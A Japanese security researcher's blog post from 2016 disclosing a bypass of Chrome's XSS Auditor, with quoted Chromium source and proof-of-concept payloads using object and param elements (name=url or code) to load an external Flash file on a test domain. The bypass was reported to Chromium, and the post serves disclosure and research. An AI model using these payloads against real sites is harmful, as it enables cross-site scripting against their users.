2016/12/27

ブラウザのXSS保護機能をバイパスする(12)

English version is here: http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html

もう終わっていますが、せっかくなのでこの記事は脆弱性"&'<<>\ Advent Calendar 2016の21日目の記事ということにします!俺たちのクリスマスはこれからだ!

怒涛のブラウザのXSS保護機能のバイパスネタです。

昨日、とあるバグの原因を特定するために、Chromiumのソースコードを眺めていたのですが、その際、偶然XSS Auditorのバイパスを発見しました。以前紹介したベクターがChromeの先行バージョンで塞がれはじめ、そろそろ新しい方法を発見しなければと思っていたところだったのでちょうどよかったです。

今回はobject要素とparam要素を使ってバイパスします。Chrome Canary 57で動作することを確認しています。

ChromeのXSS AuditorはFlashをロードできてしまうような、危険なparam要素をブロックしようとします。

HTMLParamElement.cpp の中にURLをロードできるparam要素かどうかのチェックがあり、これがXSSAuditorのコードから呼ばれます。以下のように、name属性の値が data/movie/src だった場合をチェックし、マッチした場合はフィルターが遮断するようになっています。
bool HTMLParamElement::isURLParameter(const String& name) {
  return equalIgnoringCase(name, "data") || equalIgnoringCase(name, "movie") ||
         equalIgnoringCase(name, "src");
}
Flashをロードするとき、embed src=object data=を使うのが一般的ですが、Chromeの場合はparam要素からもロードすることができるようです。
実際に動作することをみてみましょう。以下のURLからスクリプトの実行を確認できます。
(動作を確認することが目的のため、次の2つのURLはXSS Auditorをオフに制御しています。)

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=movie%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=movie value=https://l0.cm/xss.swf>

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=src%20value=https://l0.cm/xss.swf%3E&xss=0
<object allowscriptaccess=always>
<param name=src value=https://l0.cm/xss.swf>
ただし、XSS Auditorにブロックされるname=dataでは、少なくともFlashは動作しませんでした。この部分は、あまり考えずに追加されているか、あるいは以前XSSできたプラグインがあったと推測しますが、詳細は不明です。

さて、ここまででも既にマニアックな動作の紹介でしたが、Chromeではさらに別の文字列でもFlashのロードが可能であり、さらにそれらはXSS Auditorにさえ見落とされていることがわかりました。

こちらがその方法です。 name属性の値をurlという文字列に変えただけです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
または、codeとしても動くようです。

https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
これらの値は、HTMLObjectElement.cppを見て発見しました。
if (url.isEmpty() && urlParameter.isEmpty() &&
    (equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
     equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
  urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());

srcmovieなどと一緒に、codeurlも書かれていたので、もしかしたらロードできるかもと思って試したらすんなり動いたというかんじでした。この動作、ソースコードのコメントを見ると、互換性のために残してあるといったことが書いてありますが、この方法ではIE/EdgeやFirefoxではFlashはロードされませんでした。Chromeが互換性という言葉を口にして自分だけ罠にハマっているパターンは珍しいですね。

シンプルな反射型XSSさえあれば利用可能かつページを開いてからのユーザ操作も不要で、かなり有能なベクターだと思います。

ちなみに、バイパスは以下で報告済みです。

便宜上、セキュリティバグとして登録したので、一時的に非公開になっていますが、ChromeのXSS Auditorのバイパスはいつもノーマルバグとして扱われるので、そのうち見れるようになるはずです。

以上です!

2 件のコメント:

  1. Is JavaScript particularly important in XSS learning?

    返信削除
  2. I want to ask you, how to mine XSS vulnerabilities?

    返信削除